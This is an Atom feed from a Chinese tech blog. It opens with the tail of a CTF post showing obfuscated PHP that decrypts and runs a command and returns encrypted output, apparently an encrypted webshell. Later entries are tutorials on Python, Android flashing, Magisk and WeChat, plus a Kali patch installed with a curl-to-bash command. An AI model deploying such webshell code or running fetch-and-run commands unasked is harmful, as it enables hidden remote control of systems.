<span class="line">  <span class="token variable">$decrypted</span> <span class="token operator">=</span> <span class="token function">openssl_decrypt</span><span class="token punctuation">(</span><span class="token variable">$encryptedData</span><span class="token punctuation">,</span> <span class="token variable">$cipher</span><span class="token punctuation">,</span> <span class="token variable">$K</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'v8'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">return</span> <span class="token variable">$decrypted</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"><span class="token variable">$a8</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token function">d</span><span class="token punctuation">(</span><span class="token variable">$a8</span><span class="token punctuation">,</span> <span class="token variable">$p8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token function">ob_start</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$a8</span><span class="token punctuation">(</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token function">d</span><span class="token punctuation">(</span><span class="token variable">$d8</span><span class="token punctuation">,</span> <span class="token variable">$p8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$O</span> <span class="token operator">=</span> <span class="token function">ob_get_contents</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token function">ob_end_clean</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token keyword">echo</span> <span class="token function">e</span><span class="token punctuation">(</span><span class="token variable">$O</span><span class="token punctuation">,</span> <span class="token variable">$p8</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></content>
    <category term="CTF"/>
    <published>2024-10-26T13:42:18.000Z</published>
  </entry>
  <entry>
    <title type="text">Python教程（1） | 如何安装Python</title>
    <id>https://www.hestudio.net/posts/python1.html</id>
    <link href="https://www.hestudio.net/posts/python1.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>安装 Python</h3>
<p>打开 <a href="https://www.python.org/" target="_blank" rel="noopener noreferrer">Python 官网 https://www.python.org/ </a></p>
<figure><img src="https://img.hestudio.net/2024/10/14/670d2ce52180e.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>点击 <a href="https://www.python.org/downloads/" target="_blank" rel="noopener noreferrer">Downloads</a> ，选择你自己系统版本对应的安装包。一般情况下，直接点击最大的下载按钮即可。</p>]]></summary>
    <content type="html"><![CDATA[<h3>安装 Python</h3>
<p>打开 <a href="https://www.python.org/" target="_blank" rel="noopener noreferrer">Python 官网 https://www.python.org/ </a></p>
<figure><img src="https://img.hestudio.net/2024/10/14/670d2ce52180e.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>点击 <a href="https://www.python.org/downloads/" target="_blank" rel="noopener noreferrer">Downloads</a> ，选择你自己系统版本对应的安装包。一般情况下，直接点击最大的下载按钮即可。</p>
<figure><img src="https://img.hestudio.net/2024/10/14/670d2f38be905.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></content>
    <category term="Python"/>
    <published>2024-10-16T14:36:20.000Z</published>
  </entry>
  <entry>
    <title type="text">Redmi Note 7 Pro（violet）免授权9008文件分享及刷机教程</title>
    <id>https://www.hestudio.net/posts/violet-9008-without-verify.html</id>
    <link href="https://www.hestudio.net/posts/violet-9008-without-verify.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>获取文件</h3>
<p>关注<a href="/about/weixin.html" target="_blank">微信公众号 heStudio Community</a>回复 violet_9008 获取下载链接。</p>
<h3>刷机教程</h3>
<ol>
<li>
<p>下载搞机助手（可以从上方文件中获取）并安装。手机按音量减键和电源键进入 Fastboot 模式，</p>
</li>
<li>
<p>打开搞机助手，点击进入 9008 模式
<img src="https://img.hestudio.net/2024/09/18/66eacdabbc6cf.webp" alt="" loading="lazy"></p>
</li>
<li>
<p>等待手机黑屏之后，打开设备管理器，看见 COM 端口说明已进入 9008 模式。</p>
</li>
<li>
<p>在扩展功能中找到 9008 深度刷机
<img src="https://img.hestudio.net/2024/09/18/66eace0f5c4c4.webp" alt="" loading="lazy"></p>
</li>
<li>
<p>分别选择镜像根目录下的<code>images/prog_emmc_firehose_Sm6150_ddr.elf</code>, <code>images/rawprogram0.xml</code>, <code>images/patch0.xml</code>, 点击开始刷入。
<img src="https://img.hestudio.net/2024/09/18/66eacef9de10d.webp" alt="" loading="lazy"></p>
</li>
</ol>]]></summary>
    <content type="html"><![CDATA[<h3>获取文件</h3>
<p>关注<a href="/about/weixin.html" target="_blank">微信公众号 heStudio Community</a>回复 violet_9008 获取下载链接。</p>
<h3>刷机教程</h3>
<ol>
<li>
<p>下载搞机助手（可以从上方文件中获取）并安装。手机按音量减键和电源键进入 Fastboot 模式，</p>
</li>
<li>
<p>打开搞机助手，点击进入 9008 模式
<img src="https://img.hestudio.net/2024/09/18/66eacdabbc6cf.webp" alt="" loading="lazy"></p>
</li>
<li>
<p>等待手机黑屏之后，打开设备管理器，看见 COM 端口说明已进入 9008 模式。</p>
</li>
<li>
<p>在扩展功能中找到 9008 深度刷机
<img src="https://img.hestudio.net/2024/09/18/66eace0f5c4c4.webp" alt="" loading="lazy"></p>
</li>
<li>
<p>分别选择镜像根目录下的<code>images/prog_emmc_firehose_Sm6150_ddr.elf</code>, <code>images/rawprogram0.xml</code>, <code>images/patch0.xml</code>, 点击开始刷入。
<img src="https://img.hestudio.net/2024/09/18/66eacef9de10d.webp" alt="" loading="lazy"></p>
</li>
</ol>
]]></content>
    <category term="Android"/>
    <published>2024-09-18T13:02:05.000Z</published>
  </entry>
  <entry>
    <title type="text">修复小米Fastboot驱动问题</title>
    <id>https://www.hestudio.net/posts/fix-xiaomi-fastboot-driver.html</id>
    <link href="https://www.hestudio.net/posts/fix-xiaomi-fastboot-driver.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>设备管理器标记着黄色感叹号</h3>
<ol>
<li>打开 MIUI 解锁工具官网下载解锁工具： <a href="https://www.miui.com/unlock/download.html" target="_blank" rel="noopener noreferrer">https://www.miui.com/unlock/download.html</a></li>
<li>解压后找到<code>MiUsbDriver.exe</code></li>
<li>按照过程安装驱动</li>
</ol>
<h3>设备管理器未显示设备</h3>
<p>如果你将设备接入 USB3 接口，请分别用管理员身份运行以下命令</p>]]></summary>
    <content type="html"><![CDATA[<h3>设备管理器标记着黄色感叹号</h3>
<ol>
<li>打开 MIUI 解锁工具官网下载解锁工具： <a href="https://www.miui.com/unlock/download.html" target="_blank" rel="noopener noreferrer">https://www.miui.com/unlock/download.html</a></li>
<li>解压后找到<code>MiUsbDriver.exe</code></li>
<li>按照过程安装驱动</li>
</ol>
<h3>设备管理器未显示设备</h3>
<p>如果你将设备接入 USB3 接口，请分别用管理员身份运行以下命令</p>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">reg</span> add <span class="token string">"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100"</span> <span class="token parameter attr-name">/v</span> <span class="token string">"osvc"</span> <span class="token parameter attr-name">/t</span> REG_BINARY <span class="token parameter attr-name">/d</span> <span class="token string">"0000"</span> <span class="token parameter attr-name">/f</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">reg</span> add <span class="token string">"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100"</span> <span class="token parameter attr-name">/v</span> <span class="token string">"SkipContainerIdQuery"</span> <span class="token parameter attr-name">/t</span> REG_BINARY <span class="token parameter attr-name">/d</span> <span class="token string">"01000000"</span> <span class="token parameter attr-name">/f</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">reg</span> add <span class="token string">"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100"</span> <span class="token parameter attr-name">/v</span> <span class="token string">"SkipBOSDescriptorQuery"</span> <span class="token parameter attr-name">/t</span> REG_BINARY <span class="token parameter attr-name">/d</span> <span class="token string">"01000000"</span> <span class="token parameter attr-name">/f</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>然后重新连接。</p>
]]></content>
    <category term="Android"/>
    <published>2024-09-18T12:35:59.000Z</published>
  </entry>
  <entry>
    <title type="text">软件补丁 | KA_INSTALL_PATCH_240809</title>
    <id>https://www.hestudio.net/posts/ka_install_patch_240809.html</id>
    <link href="https://www.hestudio.net/posts/ka_install_patch_240809.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_240809</li>
<li>简介：为你的 Kali Linux for Termux 切换中文（仅适用于通过我的脚本安装的用户）。如果你使用 v4.0.0 或者以上版本的脚本安装，则已自带该补丁，无需安装。</li>
</ul>
<h3>注意事项</h3>
<p>该脚本仅能切换系统语言，并不能切换工具语言。如果使用的工具并不支持中文，则仍然会以英文形式显示。该脚本会重置 startkali 文件，如果你此前修改过 startkali 文件，请备份。</p>
<h3>如何安装</h3>
<ol>
<li>打开 Termux。</li>
<li>运行以下命令</li>
</ol>]]></summary>
    <content type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_240809</li>
<li>简介：为你的 Kali Linux for Termux 切换中文（仅适用于通过我的脚本安装的用户）。如果你使用 v4.0.0 或者以上版本的脚本安装，则已自带该补丁，无需安装。</li>
</ul>
<h3>注意事项</h3>
<p>该脚本仅能切换系统语言，并不能切换工具语言。如果使用的工具并不支持中文，则仍然会以英文形式显示。该脚本会重置 startkali 文件，如果你此前修改过 startkali 文件，请备份。</p>
<h3>如何安装</h3>
<ol>
<li>打开 Termux。</li>
<li>运行以下命令</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">bash</span> <span class="token parameter variable">-c</span> <span class="token string">"<span class="token variable"><span class="token variable">$(</span><span class="token function">curl</span> https://res.hestudio.net/kali_for_android/patch/ka_install_patch_240809<span class="token variable">)</span></span>"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="软件补丁"/>
    <published>2024-08-09T09:03:38.000Z</published>
  </entry>
  <entry>
    <title type="text">uni-app开源项目维护记录1</title>
    <id>https://www.hestudio.net/posts/develop-note-1.html</id>
    <link href="https://www.hestudio.net/posts/develop-note-1.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>看见一个悬赏项目，我感觉这个任务挺简单的，就接手了这个任务。</p>
<figure><img src="https://img.hestudio.net/2024/08/09/66b5d968b633e.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这个项目是一个 uni-app 项目，使用的是 vue3. 我将源码下载后进行了测试，在微信小程序端可以正常运行，但是在抖音小程序端报错如下。</p>
<figure><img src="https://img.hestudio.net/2024/08/09/66b5d9da704f0.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>看见一个悬赏项目，我感觉这个任务挺简单的，就接手了这个任务。</p>
<figure><img src="https://img.hestudio.net/2024/08/09/66b5d968b633e.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这个项目是一个 uni-app 项目，使用的是 vue3. 我将源码下载后进行了测试，在微信小程序端可以正常运行，但是在抖音小程序端报错如下。</p>
<figure><img src="https://img.hestudio.net/2024/08/09/66b5d9da704f0.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这个项目有多个问题。首先，左侧的框提示“const variable was declared”。我们查看该部分对应的代码。</p>
<figure><img src="https://img.hestudio.net/2024/08/09/66b5d9fbcf6da.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这里使用的是 const，const 声明的是常量（不可变）。小程序试图二次写入 formData 时失败了，所以报错。我们将 const 更换成 let。</p>
<p>修改后，小程序预览没有刚才的红色报错，但是仍然无法进入，停留在加载页面。打开调试工具，仍然显示报错。该问题为第三方包 lodash 导致的，安装 lodash-es，并将 lodash 依赖替换为 lodash-es</p>
<figure><img src="https://img.hestudio.net/2024/08/09/66b5da34cfd93.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>修改完成后，模拟器上已经正常运行了。但是重启项目后，hbuilderx 报错如下</p>
<figure><img src="https://img.hestudio.net/2024/08/09/66b5da4d33550.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>该报错对应着 uni-read-pages-v3.js 文件，我们将这个文件改回 commonjs 后再次编译运行。可以正常运行。</p>
]]></content>
    <category term="整活记录"/>
    <published>2024-08-09T08:59:38.000Z</published>
  </entry>
  <entry>
    <title type="text">一期回答粉丝问题的稿子（2）</title>
    <id>https://www.hestudio.net/posts/a-question-and-answer-2.html</id>
    <link href="https://www.hestudio.net/posts/a-question-and-answer-2.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>距离上次更新已经有一年半了（<s>为什么不是两年半</s>），我搜集了大约在六七两月的一些问题，再汇总一期问题回复稿。排序为随机排序，不存在先后顺序（我翻到哪个写哪个）</p>
<h3>@帅哥 来自 heStudio 反馈</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0d4ad8515a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>你好，我们测试时并未复现该问题。根据报错信息，可能是你在联网获取信息时候出现了网络波动导致。建议再次尝试。</p>
</div>]]></summary>
    <content type="html"><![CDATA[<p>距离上次更新已经有一年半了（<s>为什么不是两年半</s>），我搜集了大约在六七两月的一些问题，再汇总一期问题回复稿。排序为随机排序，不存在先后顺序（我翻到哪个写哪个）</p>
<h3>@帅哥 来自 heStudio 反馈</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0d4ad8515a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>你好，我们测试时并未复现该问题。根据报错信息，可能是你在联网获取信息时候出现了网络波动导致。建议再次尝试。</p>
</div>
<h3>@twelfth 来自 heStudio 反馈</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0d50a7c821.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>8.1 并不支持某些特性，建议升级系统版本或者更换设备</p>
</div>
<h3>@银灰不喜欢打针 💉 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0d54e9a85c.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
</div>
<h3>@春不许 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0dde361d21.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>没有这个能力</p>
</div>
<h3>@不会吧^^ 来自 QQ</h3>
<p><img src="https://img.hestudio.net/image/2024/08/05/66b0d67929ff1.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0de24245e0.webp" alt="" loading="lazy"></p>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>不要用 googleplay 版本的，用 github 版本的</p>
</div>
<h3>@岛屿 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0de549210b.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>额，su 进入 root 是输入 root 用户的密码，sudo su 进入 root 是输入管理员（也就是 kali）的密码</p>
</div>
<h3>@江南郡府 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0dea489afc.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container info">
<p class="hint-container-title">群主吊毛 回复</p>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0dec429923.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</div>
<h3>@南拥夏栀 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0df1821d70.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0df39bd98c.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</div>
<div class="hint-container caution">
<p class="hint-container-title">声明</p>
<p>搬运文章请遵守 <a href="https://www.hestudio.net/docs/copyright.html" target="_blank" rel="noopener noreferrer">https://www.hestudio.net/docs/copyright.html</a></p>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0df803eb07.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</div>
<h3>@翀 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0dfa9830b7.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>Android14 用户请等待 v4 脚本</p>
</div>
<h3>@群主吊毛 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0dfdfd0702.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0e0004c797.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
</div>
<h3>@///天 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0e02e5d0f9.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>丢日志的时候麻烦不要翻译，我们看得懂英文</p>
</div>
<h3>@封灵 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/image/2024/08/05/66b0e05e67fc6.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>@封灵 自己玩去，想玩什么玩什么</p>
</div>
<h3>@橘颂. 来自微信 | @tomorrow will be better 来自微信 | @蒙奇奇 来自 QQ | @微风清扬 来自微信 | @emmmmmma 来自 QQ | @摘星知缺 来自 QQ | @. 来自 QQ | @江南郡府 来自 QQ | @浅 ♡ 忆 来自 QQ (按照先后顺序)</h3>
<p><img src="https://img.hestudio.net/image/2024/08/05/66b0e105376b9.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e10e2dead.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e1237d7bc.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e12eb7cee.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e13971c28.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e14231c95.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e16121c8e.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e16f45b47.webp" alt="" loading="lazy">
<img src="https://img.hestudio.net/image/2024/08/05/66b0e1789590c.webp" alt="" loading="lazy"></p>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>谢谢 ❤️❤️</p>
</div>
]]></content>
    <author>
      <name>undefined</name>
    </author>
    <author>
      <name>帅哥</name>
    </author>
    <author>
      <name>twelfth</name>
    </author>
    <author>
      <name>银灰不喜欢打针💉</name>
    </author>
    <author>
      <name>春不许</name>
    </author>
    <author>
      <name>不会吧^^</name>
    </author>
    <author>
      <name>岛屿</name>
    </author>
    <author>
      <name>江南郡府</name>
    </author>
    <author>
      <name>南拥夏栀</name>
    </author>
    <author>
      <name>翀</name>
    </author>
    <author>
      <name>群主吊毛</name>
    </author>
    <author>
      <name>///天</name>
    </author>
    <author>
      <name>封灵</name>
    </author>
    <author>
      <name>橘颂.</name>
    </author>
    <author>
      <name>tomorrow will be better</name>
    </author>
    <author>
      <name>蒙奇奇</name>
    </author>
    <author>
      <name>微风清扬</name>
    </author>
    <author>
      <name>emmmmmma</name>
    </author>
    <author>
      <name>摘星知缺</name>
    </author>
    <author>
      <name>.</name>
    </author>
    <author>
      <name>浅♡忆</name>
    </author>
    <category term="Q&amp;A"/>
    <contributor>
      <name>undefined</name>
    </contributor>
    <contributor>
      <name>帅哥</name>
    </contributor>
    <contributor>
      <name>twelfth</name>
    </contributor>
    <contributor>
      <name>银灰不喜欢打针💉</name>
    </contributor>
    <contributor>
      <name>春不许</name>
    </contributor>
    <contributor>
      <name>不会吧^^</name>
    </contributor>
    <contributor>
      <name>岛屿</name>
    </contributor>
    <contributor>
      <name>江南郡府</name>
    </contributor>
    <contributor>
      <name>南拥夏栀</name>
    </contributor>
    <contributor>
      <name>翀</name>
    </contributor>
    <contributor>
      <name>群主吊毛</name>
    </contributor>
    <contributor>
      <name>///天</name>
    </contributor>
    <contributor>
      <name>封灵</name>
    </contributor>
    <contributor>
      <name>橘颂.</name>
    </contributor>
    <contributor>
      <name>tomorrow will be better</name>
    </contributor>
    <contributor>
      <name>蒙奇奇</name>
    </contributor>
    <contributor>
      <name>微风清扬</name>
    </contributor>
    <contributor>
      <name>emmmmmma</name>
    </contributor>
    <contributor>
      <name>摘星知缺</name>
    </contributor>
    <contributor>
      <name>.</name>
    </contributor>
    <contributor>
      <name>浅♡忆</name>
    </contributor>
    <published>2024-08-05T14:33:38.000Z</published>
    <rights>Copyright by undefined</rights>
  </entry>
  <entry>
    <title type="text">如何在两台手机上登录同一个微信</title>
    <id>https://www.hestudio.net/posts/two-phone-one-wechat.html</id>
    <link href="https://www.hestudio.net/posts/two-phone-one-wechat.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>对于部分有两台手机的小伙伴们，可能会有将同一个账号同时在两台设备登录的需求。很多软件，比如说钉钉，飞书，就可以同时在两台设备上同时登录，这可以让我们更好的贡献我们的劳动力。但是，微信只能同时在一台设备上登录，我们又有在两台设备上同时登录的需求。比如说，你现在正在跟小女孩搞暧昧，正是如火如荼的时候，手机突然弹出了“你的电量不足，手机将在 30 秒后关机”。这个时候你又在外，30 秒内没有办法充电，你急不急？？（本人亲身经历）这个时候如果你的备用机登录上了这个微信，你就可以两边无缝切换，之前的聊天记录也会同步过来。</p>
<p>众所又周知，手机端和平板端可以同时登录。手机端和平板端是同一个安装包。但是由于苹果的封闭性，我们很难将 iPhone 的属性换成 iPad，所以至少需要一台安卓手机来伪装成平板端。注意：我们是利用<strong>手机端和平板端可以同时登录</strong>这个特性，所以你不可以同时在备用机和平板上登录。</p>]]></summary>
    <content type="html"><![CDATA[<p>对于部分有两台手机的小伙伴们，可能会有将同一个账号同时在两台设备登录的需求。很多软件，比如说钉钉，飞书，就可以同时在两台设备上同时登录，这可以让我们更好的贡献我们的劳动力。但是，微信只能同时在一台设备上登录，我们又有在两台设备上同时登录的需求。比如说，你现在正在跟小女孩搞暧昧，正是如火如荼的时候，手机突然弹出了“你的电量不足，手机将在 30 秒后关机”。这个时候你又在外，30 秒内没有办法充电，你急不急？？（本人亲身经历）这个时候如果你的备用机登录上了这个微信，你就可以两边无缝切换，之前的聊天记录也会同步过来。</p>
<p>众所又周知，手机端和平板端可以同时登录。手机端和平板端是同一个安装包。但是由于苹果的封闭性，我们很难将 iPhone 的属性换成 iPad，所以至少需要一台安卓手机来伪装成平板端。注意：我们是利用<strong>手机端和平板端可以同时登录</strong>这个特性，所以你不可以同时在备用机和平板上登录。</p>
<p>我们有 Root 和非 Root 两种方案，两种方案各有各的优缺点。我个人倾向于 Root 方案，因为 Root 方案的维护成本低。但是如果你由于某些原因无法 Root 手机，也可以参考非 Root 方案。</p>
<p>|                                              | Root 方案 | 非 Root 方案   |
|</p>
]]></content>
    <category term="Android"/>
    <published>2024-07-16T12:03:28.000Z</published>
  </entry>
  <entry>
    <title type="text">安卓手机刷入Magisk面具教程</title>
    <id>https://www.hestudio.net/posts/how-to-install-magisk.html</id>
    <link href="https://www.hestudio.net/posts/how-to-install-magisk.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>手机如果想获取 Root 权限，刷入面具是必要的做法。本期文章将会教你如何刷入 Magisk 面具。</p>
<h3>准备工作</h3>
<ul>
<li>Magisk: 关注<a href="/about/weixin.html" target="_blank">微信公众号 heStudio Community</a>回复 magisk 获取下载链接。</li>
<li>第三方 Recovery（官方 Recovery 能玩出什么花样？？）以下做出两个推荐，看看哪个更适合你的手机。
<ul>
<li><a href="https://twrp.me/Devices/" target="_blank" rel="noopener noreferrer">Twrp</a></li>
<li><a href="https://orangefox.download/zh-CN" target="_blank" rel="noopener noreferrer">Orangefox</a></li>
</ul>
</li>
<li>一台解锁 Boot Loader 锁或者没有 Bootloader 锁的手机</li>
<li><a href="https://developer.android.google.cn/tools/releases/platform-tools?hl=zh-cn#downloads" target="_blank" rel="noopener noreferrer">ADB/Fastboot 工具</a></li>
</ul>]]></summary>
    <content type="html"><![CDATA[<p>手机如果想获取 Root 权限，刷入面具是必要的做法。本期文章将会教你如何刷入 Magisk 面具。</p>
<h3>准备工作</h3>
<ul>
<li>Magisk: 关注<a href="/about/weixin.html" target="_blank">微信公众号 heStudio Community</a>回复 magisk 获取下载链接。</li>
<li>第三方 Recovery（官方 Recovery 能玩出什么花样？？）以下做出两个推荐，看看哪个更适合你的手机。
<ul>
<li><a href="https://twrp.me/Devices/" target="_blank" rel="noopener noreferrer">Twrp</a></li>
<li><a href="https://orangefox.download/zh-CN" target="_blank" rel="noopener noreferrer">Orangefox</a></li>
</ul>
</li>
<li>一台解锁 Boot Loader 锁或者没有 Bootloader 锁的手机</li>
<li><a href="https://developer.android.google.cn/tools/releases/platform-tools?hl=zh-cn#downloads" target="_blank" rel="noopener noreferrer">ADB/Fastboot 工具</a></li>
</ul>
<h3>解锁 BootLoader</h3>
<p>由于需要修补 Boot，所以必须解锁 BootLoader，解锁 BootLoader 后才能刷入第三方 Recovery。小米手机可以在官网解锁 BootLoader 锁，OPPO 手机部分机型可以使用深度测试解锁。其他品牌手机另解。</p>
<ul>
<li><a href="https://www.miui.com/unlock/index.html" target="_blank" rel="noopener noreferrer">小米手机解锁 BootLoader</a></li>
<li><a href="https://www.oppo.cn/thread-397164526-1" target="_blank" rel="noopener noreferrer">OPPO 手机深度测试</a></li>
</ul>
<h3>刷入第三方 Recovery</h3>
<p>打开你的系统终端，<code>cd [ADB工具文件夹]</code>，然后输入以下命令：</p>
<p>Windows Powershell / Linux bash / MacOS zsh</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">./fastboot flash recovery <span class="token punctuation">[</span>recovery.img路径<span class="token punctuation">]</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>然后重启手机，按对应按键进入 Recovery</p>
<h3>刷入面具</h3>
<p>将<code>Magisk.apk</code>改名为<code>Magisk.zip</code>，然后通过 Recovery 刷入。</p>
<p>在开机后如果没有发现你的手机桌面有 Magisk，你需要手动安装，然后修补 Boot（MIUI 经常这样），如果有 Magisk，点击后安装完整版，然后等待自动修补。</p>
<p>下面是手动修补 Boot 的教程，如果你的系统自动修补了 Boot，可以完结撒花了。</p>
<h3>修补 Boot（非必须）</h3>
<p>下载你的系统线刷包，然后解压文件，找到<code>boot.img</code>并提取到手机。</p>
<p>打开 Magisk，点击画红框的安装按钮，选择“安装到 Recovery”，单击下一步，然后选择“选择并修补一个文件”，选择文件，完成修补过程。</p>
